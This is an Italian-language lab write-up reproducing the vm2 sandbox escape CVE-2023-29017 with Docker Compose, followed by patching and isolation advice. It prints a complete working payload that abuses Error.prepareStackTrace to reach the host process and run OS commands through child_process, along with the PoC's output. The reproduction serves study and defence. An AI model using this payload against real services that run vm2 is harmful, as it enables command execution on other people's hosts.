
Riproduzione di Node.js vm2 CVE-2023-29017 con Docker Compose e PoC
[WHS 4기 31반] - 김건우(@gunwoo105)
vm2 è una libreria sandbox Node.js per eseguire JavaScript non affidabile in un ambiente limitato. In condizioni normali, il codice all'interno della sandbox non dovrebbe poter accedere a funzionalità sensibili come process, require, child_process di Node.js e il filesystem host.
Tuttavia, in vm2 3.9.14 e precedenti, quando si verifica un errore asincrono non gestito, l'oggetto host passato a Error.prepareStackTrace non viene gestito in modo sicuro. Un attaccante può sfruttare la catena di costruttori di questo oggetto per ottenere il costruttore Function e l'oggetto process del contesto host, e infine eseguire comandi del sistema operativo tramite child_process.
Non utilizzando un'immagine preconfezionata vulnerabile, l'immagine viene costruita direttamente dall'immagine base ufficiale di Node.js e dal codice sorgente incluso nel repository. Il Dockerfile controlla le versioni di Node.js e vm2; se le versioni non sono quelle previste, la build fallisce.
RUN test "$(node --version)" = "v18.15.0" \
&& test "$(node -p "require('vm2/package.json').version")" = "3.9.14"
Il motivo per cui worker.js viene eseguito in un processo separato è che il PoC genera un errore asincrono non gestito. Anche se il worker termina durante l'attacco, il server web continua a funzionare e il file marker consente di verificare in modo affidabile il successo.
Devono essere soddisfatte tutte le seguenti condizioni:
vm2 3.9.14 o versione inferiore.Non tutti i servizi con vm2 installato sono automaticamente esposti ad attacchi remoti. Deve esistere una funzionalità che esegue codice controllato dall'attaccante in vm2. L'endpoint /execute di questo laboratorio implementa questo caso d'uso in modo minimale.
Il flusso dell'attacco è il seguente:
Invio di JavaScript malvagio
│
▼
Generazione di un errore asincrono non gestito
│
▼
Chiamata a Error.prepareStackTrace
│
▼
Esposizione dell'oggetto host frames
│
▼
Acquisizione del costruttore Function host
│
▼
process → require → child_process
│
▼
Esecuzione di comandi del sistema operativo all'interno del contenitore
docker compose build --no-cache

docker compose up -d vulnerable
Verifica dello stato del contenitore.
docker compose ps
curl -sS \
-w '\nHTTP_STATUS=%{http_code}\n' \
<http://127.0.0.1:3000/health>

docker compose run --rm poc
echo "exit_code=$?"
Il PoC verifica automaticamente i seguenti punti:
/tmp/vm2-pwneduid=Per eseguire dalla build al PoC in un unico comando, utilizzare:
docker compose up \
--build \
--abort-on-container-exit \
--exit-code-from poc
docker compose exec vulnerable sh -c '
echo "[Marker file]"
ls -l /tmp/vm2-pwned
echo
echo "[Command output]"
cat /tmp/vm2-pwned
'
docker compose down -v --rmi local --remove-orphans
L'intero PoC è contenuto in poc/poc.js. Il payload principale è il seguente:
Error.prepareStackTrace = (error, frames) => {
const hostProcess =
frames.constructor.constructor('return process')();
hostProcess.mainModule
.require('child_process')
.execSync('id > /tmp/vm2-pwned');
};
(async () => {}).constructor('return process')();
Error.prepareStackTraceError.prepareStackTrace = (error, frames) => {
L'attaccante ridefinisce la funzione che viene eseguita quando viene generata una stack trace di errore.
frames.constructor.constructor
Segue la catena di costruttori dell'oggetto host frames esposto da vm2 vulnerabile per accedere al costruttore Function del contesto host.
processframes.constructor.constructor('return process')();
Crea ed esegue una funzione che restituisce process dal contesto host.
hostProcess.mainModule
.require('child_process')
.execSync('id > /tmp/vm2-pwned');
Carica child_process, non fornito all'interno della sandbox, ed esegue il comando Linux id.
(async () => {}).constructor('return process')();
Fa sì che una funzione asincrona faccia riferimento a process, non disponibile nella sandbox, creando una Promise rifiutata che raggiunge il percorso di elaborazione della stack trace vulnerabile.
Il JavaScript normale viene eseguito all'interno di vm2 e restituisce 42, ma non genera prove di esecuzione di comandi del sistema operativo.
[2/4] Running benign JavaScript inside vm2
Normal JavaScript returned 42 without host command execution
Inviando il payload malevolo, si esce dalla sandbox vm2 e il comando id viene eseguito all'interno del contenitore con i permessi del processo Node.js vulnerabile.
[3/4] Sending CVE-2023-29017 payload
Host command output: uid=1000(node) gid=1000(node) groups=1000(node)
Il PoC verifica nuovamente le prove salvate e restituisce lo stato di successo.
[4/4] Confirming persisted evidence
[SUCCESS] CVE-2023-29017 reproduced: vm2 sandbox escape led to host command execution.
exit_code=0

Verificando direttamente il file di prova, si ottiene il seguente output.

Il file marker viene eliminato prima di ogni esecuzione e non viene creato durante la fase di esecuzione del codice normale. Ciò previene falsi positivi dovuti a risultati di esecuzioni precedenti.
Aggiornare a una versione non affetta.
{
"dependencies": {
"vm2": "3.9.15"
}
}
Successivamente, aggiornare il lockfile e installare con dipendenze bloccate.
npm install --package-lock-only
npm ci
Poiché l'advisory ufficiale afferma che non esistono soluzioni alternative, non è raccomandato continuare a usare la versione vulnerabile.
Non eseguire codice non affidabile nello stesso processo Node.js dell'applicazione. Isolarlo in un processo separato, contenitore o macchina virtuale e distruggere l'ambiente al termine dell'esecuzione.
no-new-privilegesApplicare autenticazione e autorizzazione forti alla funzionalità di esecuzione del codice e non gestire API di esecuzione di codice arbitrario aperte a utenti indeterminati. Tuttavia, l'autenticazione è una misura ausiliaria per ridurre la superficie di attacco, non un sostituto della correzione della vulnerabilità stessa.
| Componente | Versione e impostazioni |
|---|
| Node.js | 18.15.0 |
| vm2 | 3.9.14 |
| Versione della patch | 3.9.15 |
| Ambiente di esecuzione | Docker Compose |
| Utente del contenitore | node |
| Porta del servizio | 127.0.0.1:3000 |
| Installazione pacchetti | npm ci + package-lock.json |
| File | Ruolo |
|---|
docker-compose.yml | Definisce la configurazione del servizio vulnerabile e del contenitore PoC e l'ordine di esecuzione |
Dockerfile | Costruisce le immagini del servizio vulnerabile e del PoC con multi-stage build |
vulnerable/src/server.js | Fornisce gli endpoint /health, /execute, /evidence |
vulnerable/src/worker.js | Esegue l'input utente in vm2 in un processo separato |
poc/poc.js | Automatizza la verifica della versione, il controllo normale, l'attacco e la verifica delle prove |
vulnerable/package-lock.json | Blocca le versioni dei pacchetti incluse le dipendenze transitive |